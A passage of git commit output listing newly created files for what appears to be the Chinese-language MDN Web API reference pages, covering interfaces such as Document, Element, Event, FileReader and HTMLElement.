files/zh-cn/web/api/document/scrollingelement/index.html create mode 100644 files/zh-cn/web/api/document/selectedstylesheetset/index.html create mode 100644 files/zh-cn/web/api/document/selectionchange_event/index.html create mode 100644 files/zh-cn/web/api/document/selectstart_event/index.html create mode 100644 files/zh-cn/web/api/document/stylesheets/index.html create mode 100644 files/zh-cn/web/api/document/stylesheetsets/index.html create mode 100644 files/zh-cn/web/api/document/timeline/index.html create mode 100644 files/zh-cn/web/api/document/title/index.html create mode 100644 files/zh-cn/web/api/document/tooltipnode/index.html create mode 100644 files/zh-cn/web/api/document/touchcancel_event/index.html create mode 100644 files/zh-cn/web/api/document/touchend_event/index.html create mode 100644 files/zh-cn/web/api/document/touchstart_event/index.html create mode 100644 files/zh-cn/web/api/document/url/index.html create mode 100644 files/zh-cn/web/api/document/visibilitychange_event/index.html create mode 100644 files/zh-cn/web/api/document/visibilitystate/index.html create mode 100644 files/zh-cn/web/api/document/width/index.html create mode 100644 files/zh-cn/web/api/document/write/index.html create mode 100644 files/zh-cn/web/api/document/writeln/index.html create mode 100644 files/zh-cn/web/api/document_object_model/events/index.html create mode 100644 files/zh-cn/web/api/document_object_model/examples/index.html create mode 100644 files/zh-cn/web/api/document_object_model/how_to_create_a_dom_tree/index.html create mode 100644 files/zh-cn/web/api/document_object_model/index.html create mode 100644 files/zh-cn/web/api/document_object_model/introduction/index.html create mode 100644 files/zh-cn/web/api/document_object_model/locating_dom_elements_using_selectors/index.html create mode 100644 files/zh-cn/web/api/document_object_model/preface/index.html create mode 100644 files/zh-cn/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html create mode 100644 files/zh-cn/web/api/document_object_model/whitespace/index.html create mode 100644 files/zh-cn/web/api/documentfragment/documentfragment/index.html create mode 100644 files/zh-cn/web/api/documentfragment/index.html create mode 100644 files/zh-cn/web/api/documentfragment/queryselector/index.html create mode 100644 files/zh-cn/web/api/documentfragment/queryselectorall/index.html create mode 100644 files/zh-cn/web/api/documentorshadowroot/activeelement/index.html create mode 100644 files/zh-cn/web/api/documentorshadowroot/elementfrompoint/index.html create mode 100644 files/zh-cn/web/api/documentorshadowroot/elementsfrompoint/index.html create mode 100644 files/zh-cn/web/api/documentorshadowroot/getselection/index.html create mode 100644 files/zh-cn/web/api/documentorshadowroot/index.html create mode 100644 files/zh-cn/web/api/documentorshadowroot/stylesheets/index.html create mode 100644 files/zh-cn/web/api/documenttouch/index.html create mode 100644 files/zh-cn/web/api/documenttype/index.html create mode 100644 files/zh-cn/web/api/domerror/index.html create mode 100644 files/zh-cn/web/api/domexception/code/index.html create mode 100644 files/zh-cn/web/api/domexception/domexception/index.html create mode 100644 files/zh-cn/web/api/domexception/index.html create mode 100644 files/zh-cn/web/api/domhighrestimestamp/index.html create mode 100644 files/zh-cn/web/api/domimplementation/createdocument/index.html create mode 100644 files/zh-cn/web/api/domimplementation/createdocumenttype/index.html create mode 100644 files/zh-cn/web/api/domimplementation/createhtmldocument/index.html create mode 100644 files/zh-cn/web/api/domimplementation/hasfeature/index.html create mode 100644 files/zh-cn/web/api/domimplementation/index.html create mode 100644 files/zh-cn/web/api/domlocator/index.html create mode 100644 files/zh-cn/web/api/dommatrix/index.html create mode 100644 files/zh-cn/web/api/domparser/domparser/index.html create mode 100644 files/zh-cn/web/api/domparser/index.html create mode 100644 files/zh-cn/web/api/dompoint/dompoint/index.html create mode 100644 files/zh-cn/web/api/dompoint/index.html create mode 100644 files/zh-cn/web/api/dompoint/w/index.html create mode 100644 files/zh-cn/web/api/dompoint/x/index.html create mode 100644 files/zh-cn/web/api/dompoint/y/index.html create mode 100644 files/zh-cn/web/api/dompoint/z/index.html create mode 100644 files/zh-cn/web/api/domquad/index.html create mode 100644 files/zh-cn/web/api/domrect/domrect/index.html create mode 100644 files/zh-cn/web/api/domrect/index.html create mode 100644 files/zh-cn/web/api/domrectreadonly/index.html create mode 100644 files/zh-cn/web/api/domstring/binary/index.html create mode 100644 files/zh-cn/web/api/domstring/index.html create mode 100644 files/zh-cn/web/api/domstringlist/index.html create mode 100644 files/zh-cn/web/api/domstringmap/index.html create mode 100644 files/zh-cn/web/api/domtimestamp/index.html create mode 100644 files/zh-cn/web/api/domtokenlist/add/index.html create mode 100644 files/zh-cn/web/api/domtokenlist/contains/index.html create mode 100644 files/zh-cn/web/api/domtokenlist/index.html create mode 100644 files/zh-cn/web/api/domtokenlist/item/index.html create mode 100644 files/zh-cn/web/api/domtokenlist/keys/index.html create mode 100644 files/zh-cn/web/api/domtokenlist/length/index.html create mode 100644 files/zh-cn/web/api/domtokenlist/remove/index.html create mode 100644 files/zh-cn/web/api/domtokenlist/replace/index.html create mode 100644 files/zh-cn/web/api/domtokenlist/toggle/index.html create mode 100644 files/zh-cn/web/api/dragevent/datatransfer/index.html create mode 100644 files/zh-cn/web/api/dragevent/dragevent/index.html create mode 100644 files/zh-cn/web/api/dragevent/index.html create mode 100644 files/zh-cn/web/api/dynamicscompressornode/index.html create mode 100644 files/zh-cn/web/api/effecttiming/easing/index.html create mode 100644 files/zh-cn/web/api/effecttiming/index.html create mode 100644 files/zh-cn/web/api/element/accesskey/index.html create mode 100644 files/zh-cn/web/api/element/activate_event/index.html create mode 100644 files/zh-cn/web/api/element/animate/index.html create mode 100644 files/zh-cn/web/api/element/assignedslot/index.html create mode 100644 files/zh-cn/web/api/element/attachshadow/index.html create mode 100644 files/zh-cn/web/api/element/attributes/index.html create mode 100644 files/zh-cn/web/api/element/classlist/index.html create mode 100644 files/zh-cn/web/api/element/classname/index.html create mode 100644 files/zh-cn/web/api/element/click_event/index.html create mode 100644 files/zh-cn/web/api/element/clientheight/index.html create mode 100644 files/zh-cn/web/api/element/clientleft/index.html create mode 100644 files/zh-cn/web/api/element/clienttop/index.html create mode 100644 files/zh-cn/web/api/element/clientwidth/index.html create mode 100644 files/zh-cn/web/api/element/closest/index.html create mode 100644 files/zh-cn/web/api/element/contextmenu_event/index.html create mode 100644 files/zh-cn/web/api/element/createshadowroot/index.html create mode 100644 files/zh-cn/web/api/element/currentstyle/index.html create mode 100644 files/zh-cn/web/api/element/dblclick_event/index.html create mode 100644 files/zh-cn/web/api/element/dommousescroll_event/index.html create mode 100644 files/zh-cn/web/api/element/getattribute/index.html create mode 100644 files/zh-cn/web/api/element/getattributenames/index.html create mode 100644 files/zh-cn/web/api/element/getattributenode/index.html create mode 100644 files/zh-cn/web/api/element/getattributenodens/index.html create mode 100644 files/zh-cn/web/api/element/getboundingclientrect/index.html create mode 100644 files/zh-cn/web/api/element/getclientrects/index.html create mode 100644 files/zh-cn/web/api/element/getelementsbyclassname/index.html create mode 100644 files/zh-cn/web/api/element/getelementsbytagname/index.html create mode 100644 files/zh-cn/web/api/element/getelementsbytagnamens/index.html create mode 100644 files/zh-cn/web/api/element/hasattribute/index.html create mode 100644 files/zh-cn/web/api/element/hasattributens/index.html create mode 100644 files/zh-cn/web/api/element/hasattributes/index.html create mode 100644 files/zh-cn/web/api/element/id/index.html create mode 100644 files/zh-cn/web/api/element/index.html create mode 100644 files/zh-cn/web/api/element/innerhtml/index.html create mode 100644 files/zh-cn/web/api/element/insertadjacentelement/index.html create mode 100644 files/zh-cn/web/api/element/insertadjacenthtml/index.html create mode 100644 files/zh-cn/web/api/element/insertadjacenttext/index.html create mode 100644 files/zh-cn/web/api/element/keydown_event/index.html create mode 100644 files/zh-cn/web/api/element/keyup_event/index.html create mode 100644 files/zh-cn/web/api/element/localname/index.html create mode 100644 files/zh-cn/web/api/element/matches/index.html create mode 100644 files/zh-cn/web/api/element/mousedown_event/index.html create mode 100644 files/zh-cn/web/api/element/mouseenter_event/index.html create mode 100644 files/zh-cn/web/api/element/mouseleave_event/index.html create mode 100644 files/zh-cn/web/api/element/mousemove_event/index.html create mode 100644 files/zh-cn/web/api/element/mouseout_event/index.html create mode 100644 files/zh-cn/web/api/element/mouseup_event/index.html create mode 100644 files/zh-cn/web/api/element/name/index.html create mode 100644 files/zh-cn/web/api/element/namespaceuri/index.html create mode 100644 files/zh-cn/web/api/element/onafterscriptexecute/index.html create mode 100644 files/zh-cn/web/api/element/onfullscreenchange/index.html create mode 100644 files/zh-cn/web/api/element/onfullscreenerror/index.html create mode 100644 files/zh-cn/web/api/element/ongotpointercapture/index.html create mode 100644 files/zh-cn/web/api/element/openorclosedshadowroot/index.html create mode 100644 files/zh-cn/web/api/element/outerhtml/index.html create mode 100644 files/zh-cn/web/api/element/prefix/index.html create mode 100644 files/zh-cn/web/api/element/queryselector/index.html create mode 100644 files/zh-cn/web/api/element/queryselectorall/index.html create mode 100644 files/zh-cn/web/api/element/removeattribute/index.html create mode 100644 files/zh-cn/web/api/element/removeattributenode/index.html create mode 100644 files/zh-cn/web/api/element/removeattributens/index.html create mode 100644 files/zh-cn/web/api/element/requestfullscreen/index.html create mode 100644 files/zh-cn/web/api/element/requestpointerlock/index.html create mode 100644 files/zh-cn/web/api/element/runtimestyle/index.html create mode 100644 files/zh-cn/web/api/element/scroll/index.html create mode 100644 files/zh-cn/web/api/element/scrollby/index.html create mode 100644 files/zh-cn/web/api/element/scrollheight/index.html create mode 100644 files/zh-cn/web/api/element/scrollintoview/index.html create mode 100644 files/zh-cn/web/api/element/scrollintoviewifneeded/index.html create mode 100644 files/zh-cn/web/api/element/scrollleft/index.html create mode 100644 files/zh-cn/web/api/element/scrollleftmax/index.html create mode 100644 files/zh-cn/web/api/element/scrollto/index.html create mode 100644 files/zh-cn/web/api/element/scrolltop/index.html create mode 100644 files/zh-cn/web/api/element/scrolltopmax/index.html create mode 100644 files/zh-cn/web/api/element/scrollwidth/index.html create mode 100644 files/zh-cn/web/api/element/select_event/index.html create mode 100644 files/zh-cn/web/api/element/setattribute/index.html create mode 100644 files/zh-cn/web/api/element/setattributenode/index.html create mode 100644 files/zh-cn/web/api/element/setattributenodens/index.html create mode 100644 files/zh-cn/web/api/element/setattributens/index.html create mode 100644 files/zh-cn/web/api/element/setcapture/index.html create mode 100644 files/zh-cn/web/api/element/setpointercapture/index.html create mode 100644 files/zh-cn/web/api/element/shadowroot/index.html create mode 100644 files/zh-cn/web/api/element/show_event/index.html create mode 100644 files/zh-cn/web/api/element/slot/index.html create mode 100644 files/zh-cn/web/api/element/tagname/index.html create mode 100644 files/zh-cn/web/api/element/toggleattribute/index.html create mode 100644 files/zh-cn/web/api/element/touchcancel_event/index.html create mode 100644 files/zh-cn/web/api/element/touchstart_event/index.html create mode 100644 files/zh-cn/web/api/element/wheel_event/index.html create mode 100644 files/zh-cn/web/api/entity/index.html create mode 100644 files/zh-cn/web/api/errorevent/index.html create mode 100644 files/zh-cn/web/api/event.altkey/index.html create mode 100644 files/zh-cn/web/api/event.button/index.html create mode 100644 files/zh-cn/web/api/event.relatedtarget/index.html create mode 100644 files/zh-cn/web/api/event.shiftkey/index.html create mode 100644 files/zh-cn/web/api/event/bubbles/index.html create mode 100644 files/zh-cn/web/api/event/cancelable/index.html create mode 100644 files/zh-cn/web/api/event/comparison_of_event_targets/index.html create mode 100644 files/zh-cn/web/api/event/composed/index.html create mode 100644 files/zh-cn/web/api/event/composedpath/index.html create mode 100644 files/zh-cn/web/api/event/createevent/index.html create mode 100644 files/zh-cn/web/api/event/currenttarget/index.html create mode 100644 files/zh-cn/web/api/event/deeppath/index.html create mode 100644 files/zh-cn/web/api/event/defaultprevented/index.html create mode 100644 files/zh-cn/web/api/event/event/index.html create mode 100644 files/zh-cn/web/api/event/eventphase/index.html create mode 100644 files/zh-cn/web/api/event/index.html create mode 100644 files/zh-cn/web/api/event/initevent/index.html create mode 100644 files/zh-cn/web/api/event/istrusted/index.html create mode 100644 files/zh-cn/web/api/event/originaltarget/index.html create mode 100644 files/zh-cn/web/api/event/preventdefault/index.html create mode 100644 files/zh-cn/web/api/event/returnvalue/index.html create mode 100644 files/zh-cn/web/api/event/srcelement/index.html create mode 100644 files/zh-cn/web/api/event/stopimmediatepropagation/index.html create mode 100644 files/zh-cn/web/api/event/stoppropagation/index.html create mode 100644 files/zh-cn/web/api/event/target/index.html create mode 100644 files/zh-cn/web/api/event/timestamp/index.html create mode 100644 files/zh-cn/web/api/event/type/index.html create mode 100644 "files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" create mode 100644 files/zh-cn/web/api/eventlistener/handleevent/index.html create mode 100644 files/zh-cn/web/api/eventlistener/index.html create mode 100644 files/zh-cn/web/api/eventtarget/addeventlistener/index.html create mode 100644 files/zh-cn/web/api/eventtarget/attachevent/index.html create mode 100644 files/zh-cn/web/api/eventtarget/detachevent/index.html create mode 100644 files/zh-cn/web/api/eventtarget/dispatchevent/index.html create mode 100644 files/zh-cn/web/api/eventtarget/eventtarget/index.html create mode 100644 files/zh-cn/web/api/eventtarget/fireevent/index.html create mode 100644 files/zh-cn/web/api/eventtarget/index.html create mode 100644 files/zh-cn/web/api/eventtarget/removeeventlistener/index.html create mode 100644 files/zh-cn/web/api/ext_float_blend/index.html create mode 100644 files/zh-cn/web/api/extendableevent/index.html create mode 100644 files/zh-cn/web/api/extendableevent/waituntil/index.html create mode 100644 files/zh-cn/web/api/fetch_api/basic_concepts/index.html create mode 100644 files/zh-cn/web/api/fetch_api/cross-global_fetch_usage/index.html create mode 100644 files/zh-cn/web/api/fetch_api/index.html create mode 100644 files/zh-cn/web/api/fetch_api/using_fetch/index.html create mode 100644 files/zh-cn/web/api/fetchcontroller/abort/index.html create mode 100644 files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html create mode 100644 files/zh-cn/web/api/fetchcontroller/index.html create mode 100644 files/zh-cn/web/api/fetchevent/index.html create mode 100644 files/zh-cn/web/api/fetchevent/respondwith/index.html create mode 100644 files/zh-cn/web/api/fetchobserver/index.html create mode 100644 files/zh-cn/web/api/file/file/index.html create mode 100644 files/zh-cn/web/api/file/filename/index.html create mode 100644 files/zh-cn/web/api/file/filesize/index.html create mode 100644 files/zh-cn/web/api/file/getasbinary/index.html create mode 100644 files/zh-cn/web/api/file/getasdataurl/index.html create mode 100644 files/zh-cn/web/api/file/getastext/index.html create mode 100644 files/zh-cn/web/api/file/index.html create mode 100644 files/zh-cn/web/api/file/lastmodified/index.html create mode 100644 files/zh-cn/web/api/file/lastmodifieddate/index.html create mode 100644 files/zh-cn/web/api/file/mozfullpath/index.html create mode 100644 files/zh-cn/web/api/file/name/index.html create mode 100644 files/zh-cn/web/api/file/size/index.html create mode 100644 files/zh-cn/web/api/file/type/index.html create mode 100644 files/zh-cn/web/api/file/using_files_from_web_applications/index.html create mode 100644 files/zh-cn/web/api/file/webkitrelativepath/index.html create mode 100644 files/zh-cn/web/api/file_and_directory_entries_api/firefox_support/index.html create mode 100644 files/zh-cn/web/api/file_and_directory_entries_api/index.html create mode 100644 files/zh-cn/web/api/file_handle_api/index.html create mode 100644 files/zh-cn/web/api/fileerror/index.html create mode 100644 files/zh-cn/web/api/fileexception/index.html create mode 100644 files/zh-cn/web/api/filelist/index.html create mode 100644 files/zh-cn/web/api/filereader/abort/index.html create mode 100644 files/zh-cn/web/api/filereader/error/index.html create mode 100644 files/zh-cn/web/api/filereader/filereader/index.html create mode 100644 files/zh-cn/web/api/filereader/index.html create mode 100644 files/zh-cn/web/api/filereader/load_event/index.html create mode 100644 files/zh-cn/web/api/filereader/onabort/index.html create mode 100644 files/zh-cn/web/api/filereader/onload/index.html create mode 100644 files/zh-cn/web/api/filereader/readasarraybuffer/index.html create mode 100644 files/zh-cn/web/api/filereader/readasbinarystring/index.html create mode 100644 files/zh-cn/web/api/filereader/readasdataurl/index.html create mode 100644 files/zh-cn/web/api/filereader/readastext/index.html create mode 100644 files/zh-cn/web/api/filereader/readystate/index.html create mode 100644 files/zh-cn/web/api/filereader/result/index.html create mode 100644 files/zh-cn/web/api/filereadersync/index.html create mode 100644 files/zh-cn/web/api/filerequest/index.html create mode 100644 files/zh-cn/web/api/filesystem/index.html create mode 100644 files/zh-cn/web/api/filesystemdirectoryentry/index.html create mode 100644 files/zh-cn/web/api/filesystemdirectoryreader/index.html create mode 100644 files/zh-cn/web/api/filesystemdirectoryreader/readentries/index.html create mode 100644 files/zh-cn/web/api/filesystementry/index.html create mode 100644 files/zh-cn/web/api/filesystemfileentry/index.html create mode 100644 files/zh-cn/web/api/filesystemsync/index.html create mode 100644 files/zh-cn/web/api/focusevent/index.html create mode 100644 files/zh-cn/web/api/fontface/index.html create mode 100644 files/zh-cn/web/api/fontfaceset/check/index.html create mode 100644 files/zh-cn/web/api/fontfaceset/index.html create mode 100644 files/zh-cn/web/api/force_touch_events/index.html create mode 100644 files/zh-cn/web/api/formdata/append/index.html create mode 100644 files/zh-cn/web/api/formdata/entries/index.html create mode 100644 files/zh-cn/web/api/formdata/formdata/index.html create mode 100644 files/zh-cn/web/api/formdata/get/index.html create mode 100644 files/zh-cn/web/api/formdata/getall/index.html create mode 100644 files/zh-cn/web/api/formdata/has/index.html create mode 100644 files/zh-cn/web/api/formdata/index.html create mode 100644 files/zh-cn/web/api/formdata/keys/index.html create mode 100644 files/zh-cn/web/api/formdata/set/index.html create mode 100644 files/zh-cn/web/api/formdata/using_formdata_objects/index.html create mode 100644 files/zh-cn/web/api/formdata/values/index.html create mode 100644 "files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" create mode 100644 files/zh-cn/web/api/frame_timing_api/index.html create mode 100644 files/zh-cn/web/api/fullscreen_api/index.html create mode 100644 "files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" create mode 100644 files/zh-cn/web/api/fullscreenoptions/index.html create mode 100644 files/zh-cn/web/api/gainnode/gain/index.html create mode 100644 files/zh-cn/web/api/gainnode/index.html create mode 100644 files/zh-cn/web/api/gamepad/index.html create mode 100644 files/zh-cn/web/api/gamepad_api/index.html create mode 100644 files/zh-cn/web/api/gamepad_api/using_the_gamepad_api/index.html create mode 100644 files/zh-cn/web/api/gamepadbutton/index.html create mode 100644 files/zh-cn/web/api/gamepadbutton/pressed/index.html create mode 100644 files/zh-cn/web/api/gamepadbutton/value/index.html create mode 100644 files/zh-cn/web/api/gamepadevent/gamepad/index.html create mode 100644 files/zh-cn/web/api/gamepadevent/gamepadevent/index.html create mode 100644 files/zh-cn/web/api/gamepadevent/index.html create mode 100644 files/zh-cn/web/api/gamepadpose/index.html create mode 100644 files/zh-cn/web/api/geolocation/clearwatch/index.html create mode 100644 files/zh-cn/web/api/geolocation/getcurrentposition/index.html create mode 100644 files/zh-cn/web/api/geolocation/index.html create mode 100644 files/zh-cn/web/api/geolocation/using_geolocation/index.html create mode 100644 files/zh-cn/web/api/geolocation/watchposition/index.html create mode 100644 files/zh-cn/web/api/geolocationcoordinates/index.html create mode 100644 files/zh-cn/web/api/geolocationcoordinates/latitude/index.html create mode 100644 files/zh-cn/web/api/geolocationposition/coords/index.html create mode 100644 files/zh-cn/web/api/geolocationposition/index.html create mode 100644 "files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" create mode 100644 files/zh-cn/web/api/geolocationpositionerror/index.html create mode 100644 files/zh-cn/web/api/gestureevent/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onabort/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onanimationcancel/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onanimationend/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onanimationiteration/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onauxclick/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onblur/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/oncancel/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/oncanplay/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/oncanplaythrough/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onchange/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onclick/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onclose/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/oncontextmenu/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/oncuechange/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/ondblclick/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/ondrag/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/ondragleave/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/ondrop/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onended/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onerror/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onfocus/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onformdata/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/ongotpointercapture/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/oninput/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/oninvalid/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onkeydown/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onkeypress/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onkeyup/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onload/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onloadeddata/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onloadedmetadata/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onloadend/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onloadstart/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onlostpointercapture/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onmousedown/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onmouseenter/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onmouseleave/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onmousemove/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onmouseout/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onmouseover/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onmouseup/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onpause/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onplay/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onplaying/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onpointercancel/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onpointerdown/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onpointerenter/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onpointerleave/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onpointermove/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onpointerout/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onpointerover/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onpointerup/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onreset/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onresize/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onscroll/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onselect/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onselectionchange/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onselectstart/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onsubmit/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/ontouchcancel/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/ontouchmove/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/ontouchstart/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/ontransitioncancel/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/ontransitionend/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/onwheel/index.html create mode 100644 "files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" create mode 100644 files/zh-cn/web/api/hashchangeevent/index.html create mode 100644 files/zh-cn/web/api/hashchangeevent/newurl/index.html create mode 100644 files/zh-cn/web/api/hashchangeevent/oldurl/index.html create mode 100644 files/zh-cn/web/api/headers/append/index.html create mode 100644 files/zh-cn/web/api/headers/delete/index.html create mode 100644 files/zh-cn/web/api/headers/entries/index.html create mode 100644 files/zh-cn/web/api/headers/get/index.html create mode 100644 files/zh-cn/web/api/headers/getall/index.html create mode 100644 files/zh-cn/web/api/headers/has/index.html create mode 100644 files/zh-cn/web/api/headers/headers/index.html create mode 100644 files/zh-cn/web/api/headers/index.html create mode 100644 files/zh-cn/web/api/headers/keys/index.html create mode 100644 files/zh-cn/web/api/headers/set/index.html create mode 100644 files/zh-cn/web/api/headers/values/index.html create mode 100644 files/zh-cn/web/api/history/back/index.html create mode 100644 files/zh-cn/web/api/history/forward/index.html create mode 100644 files/zh-cn/web/api/history/go/index.html create mode 100644 files/zh-cn/web/api/history/index.html create mode 100644 files/zh-cn/web/api/history/length/index.html create mode 100644 files/zh-cn/web/api/history/pushstate/index.html create mode 100644 files/zh-cn/web/api/history/replacestate/index.html create mode 100644 files/zh-cn/web/api/history/scrollrestoration/index.html create mode 100644 files/zh-cn/web/api/history/state/index.html create mode 100644 files/zh-cn/web/api/history_api/example/index.html create mode 100644 files/zh-cn/web/api/history_api/index.html create mode 100644 files/zh-cn/web/api/history_api/working_with_the_history_api/index.html create mode 100644 files/zh-cn/web/api/html_dom_api/index.html create mode 100644 files/zh-cn/web/api/html_dom_api/microtask_guide/in_depth/index.html create mode 100644 files/zh-cn/web/api/html_dom_api/microtask_guide/index.html create mode 100644 files/zh-cn/web/api/html_drag_and_drop_api/drag_operations/index.html create mode 100644 files/zh-cn/web/api/html_drag_and_drop_api/file_drag_and_drop/index.html create mode 100644 files/zh-cn/web/api/html_drag_and_drop_api/index.html create mode 100644 files/zh-cn/web/api/html_drag_and_drop_api/multiple_items/index.html create mode 100644 files/zh-cn/web/api/html_drag_and_drop_api/recommended_drag_types/index.html create mode 100644 files/zh-cn/web/api/htmlanchorelement/download/index.html create mode 100644 files/zh-cn/web/api/htmlanchorelement/index.html create mode 100644 files/zh-cn/web/api/htmlanchorelement/referrer/index.html create mode 100644 files/zh-cn/web/api/htmlareaelement/index.html create mode 100644 files/zh-cn/web/api/htmlaudioelement/audio/index.html create mode 100644 files/zh-cn/web/api/htmlaudioelement/index.html create mode 100644 files/zh-cn/web/api/htmlbaseelement/index.html create mode 100644 files/zh-cn/web/api/htmlbasefontelement/index.html create mode 100644 files/zh-cn/web/api/htmlbodyelement/index.html create mode 100644 files/zh-cn/web/api/htmlbrelement/index.html create mode 100644 files/zh-cn/web/api/htmlbuttonelement/index.html create mode 100644 files/zh-cn/web/api/htmlcanvaselement/getcontext/index.html create mode 100644 files/zh-cn/web/api/htmlcanvaselement/height/index.html create mode 100644 files/zh-cn/web/api/htmlcanvaselement/index.html create mode 100644 files/zh-cn/web/api/htmlcanvaselement/mozopaque/index.html create mode 100644 files/zh-cn/web/api/htmlcanvaselement/toblob/index.html create mode 100644 files/zh-cn/web/api/htmlcanvaselement/todataurl/index.html create mode 100644 files/zh-cn/web/api/htmlcanvaselement/transfercontroltooffscreen/index.html create mode 100644 files/zh-cn/web/api/htmlcanvaselement/webglcontextlost_event/index.html create mode 100644 files/zh-cn/web/api/htmlcanvaselement/width/index.html create mode 100644 "files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" create mode 100644 files/zh-cn/web/api/htmlcollection/index.html create mode 100644 files/zh-cn/web/api/htmlcollection/item/index.html create mode 100644 files/zh-cn/web/api/htmlcontentelement/index.html create mode 100644 files/zh-cn/web/api/htmldataelement/index.html create mode 100644 files/zh-cn/web/api/htmldataelement/value/index.html create mode 100644 files/zh-cn/web/api/htmldetailselement/index.html create mode 100644 files/zh-cn/web/api/htmldetailselement/toggle_event/index.html create mode 100644 files/zh-cn/web/api/htmldialogelement/index.html create mode 100644 files/zh-cn/web/api/htmldialogelement/show/index.html create mode 100644 files/zh-cn/web/api/htmldivelement/index.html create mode 100644 files/zh-cn/web/api/htmldocument/index.html create mode 100644 files/zh-cn/web/api/htmlelement/accesskeylabel/index.html create mode 100644 files/zh-cn/web/api/htmlelement/animationcancel_event/index.html create mode 100644 files/zh-cn/web/api/htmlelement/animationiteration_event/index.html create mode 100644 files/zh-cn/web/api/htmlelement/beforeinput_event/index.html create mode 100644 files/zh-cn/web/api/htmlelement/blur/index.html create mode 100644 files/zh-cn/web/api/htmlelement/click/index.html create mode 100644 files/zh-cn/web/api/htmlelement/contenteditable/index.html create mode 100644 files/zh-cn/web/api/htmlelement/contextmenu/index.html create mode 100644 files/zh-cn/web/api/htmlelement/dataset/index.html create mode 100644 files/zh-cn/web/api/htmlelement/dir/index.html create mode 100644 files/zh-cn/web/api/htmlelement/focus/index.html create mode 100644 files/zh-cn/web/api/htmlelement/forcespellcheck/index.html create mode 100644 files/zh-cn/web/api/htmlelement/hidden/index.html create mode 100644 files/zh-cn/web/api/htmlelement/index.html create mode 100644 files/zh-cn/web/api/htmlelement/iscontenteditable/index.html create mode 100644 files/zh-cn/web/api/htmlelement/lang/index.html create mode 100644 files/zh-cn/web/api/htmlelement/nonce/index.html create mode 100644 files/zh-cn/web/api/htmlelement/offsetheight/index.html create mode 100644 files/zh-cn/web/api/htmlelement/offsetleft/index.html create mode 100644 files/zh-cn/web/api/htmlelement/offsetparent/index.html create mode 100644 